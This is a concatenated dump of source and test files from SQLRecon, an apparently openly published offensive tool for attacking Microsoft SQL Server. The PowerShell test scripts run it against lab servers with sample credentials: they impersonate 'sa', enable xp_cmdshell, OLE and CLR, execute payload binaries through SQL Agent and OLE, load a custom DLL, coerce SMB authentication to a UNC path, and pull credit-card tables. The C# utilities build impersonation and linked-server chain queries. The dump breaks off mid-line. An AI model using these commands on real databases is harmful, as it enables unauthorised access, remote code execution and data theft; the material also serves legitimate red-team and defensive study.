/chain /m:enableole" 118 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:enablexp" 119 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:adsi /adsi:linkadsi /lport:30000" 120 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:agentstatus" 121 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:agentcmd /subsystem:cmdexec /command:'c:\temp\mb-l1.exe'" 122 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:agentcmd /c:'c:\temp\mb-l2.exe'" 123 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:clr /dll:'c:\temp\sql.dll' /function:Chicken" 124 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:olecmd /c:'c:\temp\mb-l3.exe'" 125 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:xpcmd /c:'notepad'" 126 | Write-Output "---------------------------------------------------------------------" 127 | Write-Output "[+] SQLRecon - Linked Chain Modules Test Cases" 128 | Write-Output "[+] Completed test cases against $modules modules at $global:timestamp" 129 | Write-Output "---------------------------------------------------------------------" 130 | Stop-Transcript -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/SQLAuthentication.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using SQLRecon.Commands; 4 | 5 | namespace SQLRecon.Utilities 6 | { 7 | internal abstract class SqlAuthentication 8 | { 9 | private static string _connectionString; 10 | 11 | /// 12 | /// The WindowsToken method uses Windows token in the current process 13 | /// to authenticate to a supplied database. 14 | /// 15 | /// 16 | /// 17 | /// A valid SQL connection object that is used to authenticate against databases. 18 | internal static SqlConnection WindowsToken(string sqlServer, string database) 19 | { 20 | _connectionString = $"Server={sqlServer}; Database={database}; Integrated Security=True;"; 21 | 22 | return _authenticateToDatabase(_connectionString, System.Security.Principal.WindowsIdentity.GetCurrent().Name, sqlServer); 23 | } 24 | 25 | /// 26 | /// The WindowsDomain method uses cleartext AD domain credentials in conjunction with impersonation 27 | /// to create a Windows token, which is used to authenticate to a supplied database. 28 | /// 29 | /// 30 | /// 31 | /// 32 | /// 33 | /// 34 | /// A valid SQL connection object that is used to authenticate against databases. 35 | internal static SqlConnection WindowsDomain(string sqlServer, string database, string domain, string user, string password) 36 | { 37 | using (new Impersonate (domain, user, password)) 38 | { 39 | _connectionString = $"Server={sqlServer}; Database={database}; Integrated Security=True;"; 40 | 41 | return _authenticateToDatabase(_connectionString, $"{domain}\\{user}", sqlServer); 42 | } 43 | } 44 | 45 | /// 46 | /// The LocalAuthentication method uses cleartext local SQL database credentials 47 | /// to authenticate to a supplied database. 48 | /// 49 | /// 50 | /// 51 | /// 52 | /// 53 | /// A valid SQL connection object that is used to authenticate against databases. 54 | internal static SqlConnection LocalAuthentication(string sqlServer, string database, string user, string password) 55 | { 56 | _connectionString = $"Server={sqlServer}; Database={database}; Integrated Security=False; User Id={user}; Password={password};"; 57 | 58 | return _authenticateToDatabase(_connectionString, user, sqlServer); 59 | } 60 | 61 | /// 62 | /// The EntraIdAuthentication method uses cleartext Entra ID domain credentials 63 | /// to authenticate to a supplied database. 64 | /// 65 | /// 66 | /// 67 | /// 68 | /// 69 | /// 70 | /// A valid SQL connection object that is used to authenticate against databases. 71 | internal static SqlConnection EntraIdAuthentication(string sqlServer, string database, string domain, string user, string password) 72 | { 73 | user = $"{user}@{domain}"; 74 | 75 | _connectionString = $"Server={sqlServer}; Database={database}; Authentication=Active Directory Password; " + 76 | $"Encrypt=True; TrustServerCertificate=False; User ID={user}; Password={password};"; 77 | 78 | return _authenticateToDatabase(_connectionString, user, sqlServer); 79 | } 80 | 81 | /// 82 | /// The AzureLocationAuthentication method uses cleartext Azure local database credentials 83 | /// to authenticate to a supplied database. 84 | /// 85 | /// 86 | /// 87 | /// 88 | /// 89 | /// A valid SQL connection object that is used to authenticate against databases. 90 | internal static SqlConnection AzureLocalAuthentication(string sqlServer, string database, string user, string password) 91 | { 92 | _connectionString = $"Server={sqlServer}; Database={database}; TrustServerCertificate=False; Encrypt=True; User Id={user}; Password={password};"; 93 | 94 | return _authenticateToDatabase(_connectionString, user, sqlServer); 95 | } 96 | 97 | /// 98 | /// The _authenticateToDatabase method is responsible for creating a SQL connection object 99 | /// to a supplied database. 100 | /// 101 | /// 102 | /// 103 | /// 104 | /// 105 | /// If the connection to the database succeeds, a SQL connection object is returned, otherwise 106 | /// an error message is provided and the program gracefully exits. 107 | /// 108 | private static SqlConnection _authenticateToDatabase(string conString, string user, string sqlServer) 109 | { 110 | // Set timeout to 4s, unless specified using the "/timeout" or "/t" flags. 111 | _connectionString = $"{conString} Connect Timeout={Var.Timeout};"; 112 | 113 | // Create SQL connection object 114 | SqlConnection connection = new SqlConnection(_connectionString); 115 | 116 | try 117 | { 118 | connection.Open(); 119 | if (Var.Debug || Var.Verbose) 120 | { 121 | Print.Debug($"Connecting to '{Var.Database}' on {Var.SqlServer}:{Var.Port} using {Var.AuthenticationType}."); 122 | Print.Nested($"Connection String: {_connectionString}", true); 123 | Print.Nested($"Data Source: {connection.DataSource}", true); 124 | Print.Nested($"Database: {connection.Database}", true); 125 | Print.Nested($"Server Version: {connection.ServerVersion}", true); 126 | Print.Nested($"State: {connection.State}", true); 127 | Print.Nested($"Workstation ID: {connection.WorkstationId}", true); 128 | Print.Nested($"Packet Size: {connection.PacketSize}", true); 129 | Print.Nested($"Client Connection ID: {connection.ClientConnectionId}", true); 130 | Print.Nested($"Application Name: {connection.WorkstationId}", true); 131 | } 132 | 133 | return connection; 134 | } 135 | catch (Exception ex) 136 | { 137 | if (ex.ToString().ToLower().Contains("login failed")) 138 | { 139 | Print.Error($"'{user}' can not connect to '{Var.Database}' on {sqlServer.Replace(",",":")}", true); 140 | connection.Close(); 141 | return null; 142 | } 143 | else if (ex.ToString().ToLower().Contains("network-related")) 144 | { 145 | Print.Error($"{sqlServer.Replace(",", ":")} can not be reached.", true); 146 | connection.Close(); 147 | return null; 148 | } 149 | else if (ex.ToString().ToLower().Contains("adalsql.dll")) 150 | { 151 | Print.Error("Unable to load adal.sql or adalsql.dll.", true); 152 | connection.Close(); 153 | return null; 154 | } 155 | else 156 | { 157 | Print.Error($"{user} can not log in to {sqlServer.Replace(",", ":")}.", true); 158 | connection.Close(); 159 | return null; 160 | } 161 | } 162 | } 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/tests/SQLRecon-Impersonation-Modules-Test.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Execution instructions: 3 | powershell.exe -nop -exec bypass .\SQLRecon-Impersonation-Modules-Test.ps1 4 | #> 5 | 6 | <# 7 | The $global:* variables do not need to be changed. 8 | The only exception is $global:modules, which can be 9 | changed to match the number of test cases you execute. 10 | #> 11 | $global:count = 1 12 | $global:modules = 39 13 | $global:timestamp = Get-Date -Format "MM-dd-yyyy-HH-mm" 14 | 15 | <# 16 | The $authentication variable acts as a quick way to 17 | switch the authentication type for the following commands. 18 | #> 19 | $authentication = "WinToken" 20 | #$authentication = "WinDomain /domain:kawalabs /username:jsmith /password:Password123" 21 | #$authentication = "WinDomain /domain:kawalabs /username:admin /password:Password123" 22 | #$authentication = "Local /username:sa /password:Password123" 23 | #$authentication = "EntraID /domain:x.onmicrosoft.com /username:jsmith /password:Password123" 24 | #$authentication = "AzureLocal /username:sa /password:Password123" 25 | 26 | <# 27 | The following variables can be changed. 28 | - $sqlreconPath is the path to where SQLRecon is on disk. 29 | - $server1 is the hostname or IP of a SQL server. 30 | - $server2 is the hostname or IP of a SQL server, I use this for linked SQL servers. 31 | - $server3 is the hostname or IP of a SQL server, you might not need this. 32 | - $server4 is the hostname or IP of a SQL server, you might not need this. 33 | - $server5 is the hostname or IP of a SQL server, you might not need this. 34 | - $impersonationUser is the user you want to impersonate. 35 | - outputPath is where you want to output the results of this script on disk in markdown. 36 | keep in mind that the path can not have special characters like ':'. '-' is fine. 37 | #> 38 | $sqlreconPath = ".\SQLRecon.exe" 39 | $server1 = "SQL01" 40 | $server2 = "SQL02" 41 | $server3 = "SQL03" 42 | $server4 = "MECM01" 43 | $server5 = "sqlrecon.database.windows.net" 44 | $impersonateUser = "sa" 45 | $authenticationFormatted = $authentication.replace(' ','-').replace('/','').replace('.','-').replace(':','-') 46 | $outputPath = $PSScriptRoot + "\sqlrecon-impersonation-$authenticationFormatted-$global:timestamp.md" 47 | 48 | <# 49 | .Description 50 | The Execute function executes a supplied SQLRecon command. 51 | #> 52 | Function Execute($command) 53 | { 54 | Write-Output "($global:count/$global:modules)" 55 | Write-Output $command 56 | Write-Output "" 57 | Write-Output "Expected Output:" 58 | Write-Output '```' 59 | Invoke-Expression $command 60 | Write-Output '```' 61 | Write-Output "" 62 | $global:count++ 63 | } 64 | 65 | # Configuring output to file. 66 | $ErrorActionPreference="SilentlyContinue" 67 | Stop-Transcript | out-null 68 | $ErrorActionPreference = "Continue" 69 | Start-Transcript -path $outputPath 70 | 71 | 72 | Write-Output "---------------------------------------------------------------------" 73 | Write-Output "[+] SQLRecon - Impersonation Modules Test Cases" 74 | Write-Output "[+] Variables Set:" 75 | Write-Output " |-> SQLRecon Path: $sqlreconPath" 76 | Write-Output " |-> Output Path: $outputPath" 77 | Write-Output " |-> Authentication: $authentication" 78 | Write-Output " |-> Impersonating User: $impersonateUser" 79 | Write-Output " |-> SQL Server 1: $server1" 80 | Write-Output " |-> SQL Server 2: $server2" 81 | Write-Output " |-> SQL Server 3: $server3" 82 | Write-Output " |-> SQL Server 4: $server4" 83 | Write-Output " |-> SQL Server 4: $server5" 84 | Write-Output "[+] Starting test cases against $modules modules at $global:timestamp" 85 | Write-Output "---------------------------------------------------------------------" 86 | Write-Output "" 87 | 88 | # Add test cases in this area. In this case there are 39, which is why $global:modules is set to 39. 89 | Write-Output "" 90 | Write-Output "[+] Executing commands - expected to fail to validate error handling" 91 | Write-Output "" 92 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /l:$server3 /m:checkrpc" 93 | Execute "$sqlreconPath /a:$authentication /i:invaliduser /h:$server2 /m:checkrpc" 94 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:impersonate" 95 | Write-Output "" 96 | Write-Output "[+] Executing unprivileged commands" 97 | Write-Output "" 98 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:auditstatus" 99 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:checkrpc" 100 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:databases" 101 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:info" 102 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:links" 103 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:users" 104 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:whoami" 105 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:columns /db:Payments /table:cc" 106 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:query /database:Payments /c:'select * from cc'" 107 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:rows /db:AdventureWorks /table:SalesLT.Customer" 108 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:search /db:Payments /keyword:card" 109 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server3 /m:smb /unc:\\172.16.10.21\test" 110 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:tables /db:AdventureWorks" 111 | Write-Output "" 112 | Write-Output "[+] Executing Privileged Commands" 113 | Write-Output "" 114 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:disablerpc /rhost:$server1\sqlexpress" 115 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:disablerpc /rhost:$server2" 116 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:disablerpc /rhost:$server3" 117 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:disablerpc /rhost:$server3" 118 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server3 /m:disablerpc /rhost:$server4" 119 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:enablerpc /rhost:$server1\sqlexpress" 120 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:enablerpc /rhost:$server2" 121 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1 /m:enablerpc /rhost:$server3" 122 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:enablerpc /rhost:$server3" 123 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server3 /m:enablerpc /rhost:$server4" 124 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:disableclr" 125 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:disableole" 126 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:disablexp" 127 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:enableole" 128 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:enableclr" 129 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server1,$server2,$server3,$server4 /m:enablexp" 130 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server3 /m:adsi /adsi:linkadsi /lport:30000" 131 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:agentstatus" 132 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:agentcmd /subsystem:cmdexec /command:'c:\temp\mb-i1.exe'" 133 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:agentcmd /c:'c:\temp\mb-i2.exe'" 134 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /module:clr /dll:'c:\temp\sql.dll' /function:Chicken" 135 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:olecmd /c:'c:\temp\mb-i3.exe'" 136 | Execute "$sqlreconPath /a:$authentication /i:$impersonateUser /h:$server2 /m:xpcmd /c:'tasklist'" 137 | Write-Output "---------------------------------------------------------------------" 138 | Write-Output "[+] SQLRecon - Impersonation Modules Test Cases" 139 | Write-Output "[+] Completed test cases against $modules modules at $global:timestamp" 140 | Write-Output "---------------------------------------------------------------------" 141 | Stop-Transcript -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | .idea 400 | 401 | # macOS 402 | *DS_Store 403 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/FormatQuery.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace SQLRecon.Utilities 6 | { 7 | internal abstract class Format 8 | { 9 | /// 10 | /// The ImpersonationDictionary method adds the EXECUTE AS LOGIN statement along with 11 | /// the user to impersonate in front of every standard SQL query supplied 12 | /// in a dictionary. 13 | /// 14 | /// 15 | /// 16 | /// 17 | internal static Dictionary ImpersonationDictionary(string impersonate, Dictionary dict) 18 | { 19 | Dictionary queries = new Dictionary(dict.Count); 20 | 21 | foreach (KeyValuePair entry in dict) 22 | { 23 | queries[entry.Key] = ImpersonationQuery(impersonate, entry.Value); 24 | } 25 | 26 | dict.Clear(); 27 | 28 | return queries; 29 | } 30 | 31 | /// 32 | /// The LinkedDictionary method adds the OPENQUERY statement along with the linked SQL server 33 | /// to connect to and the SQL query in front of every standard SQL query supplied 34 | /// in a dictionary. 35 | /// Intelligence exists to determine whether the dictionary key starts with 'rpc_'. If it does, 36 | /// the SQL query will not have the OPENQUERY statement prepended, but the EXEC query instead and the linked SQL 37 | /// server will be placed at the end of the query. 38 | /// 39 | /// 40 | /// 41 | /// 42 | internal static Dictionary LinkedDictionary(string linkedSqlServer, Dictionary dict) 43 | { 44 | Dictionary queries = new Dictionary(dict.Count); 45 | 46 | foreach (KeyValuePair entry in dict) 47 | { 48 | if (entry.Key.StartsWith("rpc_")) 49 | { 50 | queries[entry.Key] = LinkedQuery(linkedSqlServer, entry.Value, true); 51 | } 52 | else 53 | { 54 | queries[entry.Key] = LinkedQuery(linkedSqlServer, entry.Value); 55 | } 56 | } 57 | 58 | dict.Clear(); 59 | 60 | return queries; 61 | } 62 | 63 | /// 64 | /// The LinkedChainDictionary takes a standard SQL query and prepares it with multiple 65 | /// OPENQUERY statements dynamically so that it can be used in a chain, until finally executed on 66 | /// a target SQL server. 67 | /// Intelligence exists to determine whether the dictionary key starts with 'rpc_'. If it does, 68 | /// the SQL query will not have the OPENQUERY statement prepended, but the EXEC query instead and the linked SQL 69 | /// server will be placed at the end of the query. 70 | /// 71 | /// 72 | /// 73 | /// 74 | internal static Dictionary LinkedChainDictionary(string[] linkedSqlServerChain, Dictionary dict) 75 | { 76 | Dictionary queries = new Dictionary(dict.Count); 77 | 78 | foreach (KeyValuePair entry in dict) 79 | { 80 | if (entry.Key.StartsWith("rpc_")) 81 | { 82 | queries[entry.Key] = _linkedChainRpcQuery(linkedSqlServerChain, entry.Value); 83 | } 84 | else 85 | { 86 | queries[entry.Key] = LinkedChainQuery(linkedSqlServerChain, entry.Value); 87 | } 88 | } 89 | 90 | dict.Clear(); 91 | 92 | return queries; 93 | } 94 | 95 | /// 96 | /// The ImpersonationQuery method adds the EXECUTE AS LOGIN statement along with 97 | /// the user to impersonate in front of every standard SQL query 98 | /// 99 | /// 100 | /// 101 | /// 102 | internal static string ImpersonationQuery(string impersonate, string query) 103 | { 104 | return "EXECUTE AS LOGIN = '" + impersonate + "'; " + query; 105 | } 106 | 107 | /// 108 | /// The LinkedQuery method adds the OPENQUERY statement along with the linked SQL server 109 | /// to connect to and the SQL query in front of every standard SQL query supplied. 110 | /// The optional argument of 'rpc' is available. If selected, the SQL query will not have the OPENQUERY 111 | /// statement prepended, but the EXEC query instead and the linked SQL 112 | /// server will be placed at the end of the query. 113 | /// 114 | /// 115 | /// 116 | /// 117 | /// 118 | internal static string LinkedQuery(string linkedSqlServer, string query, bool rpc = false) 119 | { 120 | query = query.Replace("'", "''"); 121 | 122 | return (rpc == false) 123 | ? "SELECT * FROM OPENQUERY(\"" + linkedSqlServer + "\", '" + query + "')" 124 | : "EXECUTE ('" + query + "') AT [" + linkedSqlServer + "];"; 125 | } 126 | 127 | /// 128 | /// The LinkedChainQuery method constructs a nested OPENQUERY statement for querying linked SQL servers in a chain. 129 | /// Credit to Azaël MARTIN (n3rada). 130 | /// 131 | /// An array of server names representing the path of linked servers to traverse. '0' in front of them is mandatory to make the query work properly. 132 | /// The SQL query to be executed at the final server in the linked server path. 133 | /// A counter used to double the single quotes for each level of nesting. 134 | /// A string containing the nested OPENQUERY statement. 135 | /// 136 | /// Calling GetNestedOpenQueryForLinkedServers(new[] { "0", "a", "b", "c", "d" }, "SELECT * FROM SomeTable WHERE 'a'='a'") will produce: 137 | /// select * from openquery("a", 'select * from openquery("b", ''select * from openquery("c", ''''select * from openquery("d", ''''''SELECT * FROM SomeTable WHERE ''a''=''''a'''''''''')''')'')') 138 | /// 139 | internal static string LinkedChainQuery(string[] linkedSqlServerChain, string query, int ticks = 0) 140 | { 141 | if (linkedSqlServerChain.Length <= 1) 142 | { 143 | // Base case: when there's only one server or none, just return the SQL with appropriately doubled quotes. 144 | return query.Replace("'", new string('\'', (int)Math.Pow(2, ticks))); 145 | } 146 | 147 | StringBuilder stringBuilder = new StringBuilder(); 148 | stringBuilder.Append("SELECT * FROM OPENQUERY(\""); 149 | stringBuilder.Append(linkedSqlServerChain[1]); 150 | // Taking the next server in the path. 151 | stringBuilder.Append("\", "); 152 | stringBuilder.Append(new string('\'', 